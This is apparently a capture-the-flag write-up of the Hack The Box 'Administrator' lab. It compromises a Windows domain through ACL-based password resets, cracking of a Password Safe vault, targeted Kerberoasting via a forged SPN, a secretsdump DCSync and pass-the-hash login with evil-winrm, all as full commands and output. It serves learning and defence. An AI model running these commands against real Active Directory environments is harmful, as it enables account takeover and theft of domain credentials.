HTB Administrator: A Chain of Small Privileges

There's a particular kind of Windows engagement that doesn't hinge on a single flashy exploit. Instead, it's built from a sequence of small privileges: a GenericAll here, a password reset there, a forgotten credential store, each one just barely enough to unlock the next. HTB's Administrator box is a great example of that pattern, and it mirrors something you'll see constantly on real internal Windows pentests: you rarely start with nothing. You start with one low-privileged account, and the whole engagement is about following the thread from there to Domain Admin.

That's exactly how this one began.

Starting Point: One Set of Credentials

Username: Olivia
Password: ichliebedich

No initial foothold to build, no phishing, no exploit chain to get code execution. Just a domain account, the way a real assumed-breach assessment usually starts. The job from here is pure enumeration and privilege chasing.

Mapping the Domain

A standard nmap sweep laid out the environment immediately:

21/tcp   ftp
53/tcp   domain (Simple DNS Plus)
88/tcp   kerberos-sec
135/tcp  msrpc
139/tcp  netbios-ssn
389/tcp  ldap
445/tcp  microsoft-ds
464/tcp  kpasswd5
593/tcp  ncacn_http
636/tcp  tcpwrapped
3268/tcp ldap (Global Catalog)
3269/tcp tcpwrapped

Classic Domain Controller fingerprint: Kerberos, LDAP, SMB, the Global Catalog ports, and an open FTP service that would turn out to matter a lot later. The scan also flagged a domain name, administrator.htb, and a helpful ~7 hour clock skew, worth remembering for later since Kerberos gets fussy about time drift.

A quick dig any against the DC confirmed the DNS layout and hostmaster record, and a zone transfer attempt (dig axfr) was, unsurprisingly, refused. Both entries went into /etc/hosts so every subsequent tool would resolve the domain correctly.

From there, enum4linux-ng did the heavy lifting: confirming SMB signing was required, pulling the full domain user and group list over RPC using Olivia's credentials, and mapping out the standard share list (ADMIN$, C$, IPC$, NETLOGON, SYSVOL). Nothing on the shares themselves was immediately interesting: NETLOGON and SYSVOL had the usual Group Policy scaffolding and nothing else.

At this stage, the picture was: ten domain users, a normal group structure, and no obvious low-hanging fruit sitting in a file share. Time to stop looking at files and start looking at permissions.

Following the ACL Chain

This is a white-box style assessment, so the natural next step was BloodHound. Feeding Olivia's credentials into a collector and loading the graph immediately surfaced something useful:

Olivia has GenericAll over the user Michael.

GenericAll is about as good as it gets: full control over the object, including the ability to reset its password without knowing the old one. So that's exactly what happened:

bloodyAD --host dc.administrator.htb -d administrator.htb \
    -u Olivia -p ichliebedich \
    set password michael beansbeans123

[+] Password changed successfully!

One command, one new account: michael:beansbeans123.

Going back to BloodHound with Michael's new access revealed the same pattern one hop further down the chain: Michael has ForceChangePassword over Benjamin. Same idea, same tool, same result:

bloodyAD --host dc.administrator.htb -d administrator.htb \
    -u Michael -p beansbeans123 \
    set password benjamin beansbeans123

Two ACL abuses, two accounts taken over, zero exploits used. Just BloodHound pointing at exactly which edge to pull on next.

FTP, of All Things

With Benjamin's credentials in hand, that early-noted open FTP port stopped being background noise:

ftp [email protected]

Inside, a single file was sitting in the account's FTP root: Backup.psafe3, a Password Safe v3 database. That's a strong signal on its own: someone was keeping a personal password vault, and it just leaked over an unauthenticated-feeling protocol to anyone who could log in as Benjamin.

Password Safe databases are crackable offline, so the file came home for a date with hashcat:

hashcat -w 3 -O -D 1 -m 5200 Backup.psafe3 ~/Wordlists/rockyou.txt

Backup.psafe3:tekieromucho
Status...........: Cracked

rockyou.txt earning its keep again: the vault's master password fell almost instantly. Opening the decrypted vault handed over another set of working domain credentials, this time for Emily.

Turning a Regular Account into a Kerberoast Target

Emily's account didn't have any spectacular ACL edges of its own sitting on the Domain Admins path, but it did have write access to another account's Service Principal Name, specifically Ethan's. That matters because Kerberoasting normally only works against accounts that already have an SPN registered. If you can write an SPN onto an account that doesn't have one, you can manufacture a target:

bloodyAD --host dc.administrator.htb -d administrator.htb \
    -u Emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' \
    set object Ethan servicePrincipalName -v 'Administratorfrfr/meow'

[+] Ethan's servicePrincipalName has been updated

With a fake SPN in place, Ethan became fair game for a standard Kerberoast:

nxc ldap dc.administrator.htb -u Emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' \
    --kerberoasting output2.txt

That request returned a $krb5tgs$23$... ticket for Ethan, RC4-encrypted and therefore very crackable:

hashcat -w 3 -O -D 1 ethankrb.txt ~/Wordlists/rockyou.txt

Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Status...........: Cracked

Ethan's password, limpbizkit, dropped out in seconds against rockyou. This is targeted Kerberoasting in its purest form: no pre-existing SPN required, just a single writable attribute on the right account.

From One Account to the Entire Domain

Ethan's credentials turned out to be the last hop needed. A straight shot at secretsdump.py against the DC told the story immediately:

secretsdump.py ethan:[email protected]

The RemoteOperations (SAM-based) method got denied, but Impacket automatically fell back to the DRSUAPI method, effectively a DCSync, and that succeeded completely:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:...
krbtgt:502:...
administrator.htb\olivia:1108:...
administrator.htb\michael:1109:...
administrator.htb\benjamin:1110:...
administrator.htb\emily:1112:...
administrator.htb\ethan:1113:...
administrator.htb\alexander:3601:...
administrator.htb\emma:3602:...
DC$:1000:...

If Ethan's account had DCSync-equivalent replication rights (or belonged to a group that did), that single fallback is effectively game over: every NTLM hash and Kerberos key in the domain, Administrator included, comes back in one shot.

Landing as Administrator

The Administrator's NT hash was enough on its own, no need to crack it:

evil-winrm -i 10.129.65.105 -u Administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e

That dropped straight into an interactive session as voleur\administrator — well, administrator.htb\administrator — with both root.txt on the Administrator desktop and user.txt sitting in Emily's profile, closing out the box.

What This Box Is Really Teaching

Strip away the specific usernames and passwords, and the entire path is five repetitions of the same idea:

Account A has some kind of write access over Account B
        ↓
Abuse that access to become Account B
        ↓
Account B has access to something new (a file, an ACL edge, an SPN)
        ↓
Repeat

• GenericAll / ForceChangePassword turn "I can see this user in BloodHound" into "I control this user," instantly, with a single bloodyAD set password call.
• Open FTP with weak segmentation is still a real finding in 2026 — a password manager backup sitting in an FTP root is a gift.
• Targeted Kerberoasting doesn't require an existing SPN. Any account with write access to another object's servicePrincipalName attribute can manufacture a kerberoastable target on demand.
• DCSync fallback in secretsdump.py means a single over-privileged low-level account can sometimes pull the entire domain's secrets, even when the "normal" SAM dumping method is blocked.

None of these steps required a memory corruption bug or a zero-day. Every single one of them was a permission that shouldn't have been granted, discovered by BloodHound and abused with off-the-shelf tooling. That's the real lesson of Administrator — and honestly, of most real-world AD compromises: the vulnerability isn't a piece of code, it's the accumulated, unreviewed access control decisions sitting in Active Directory.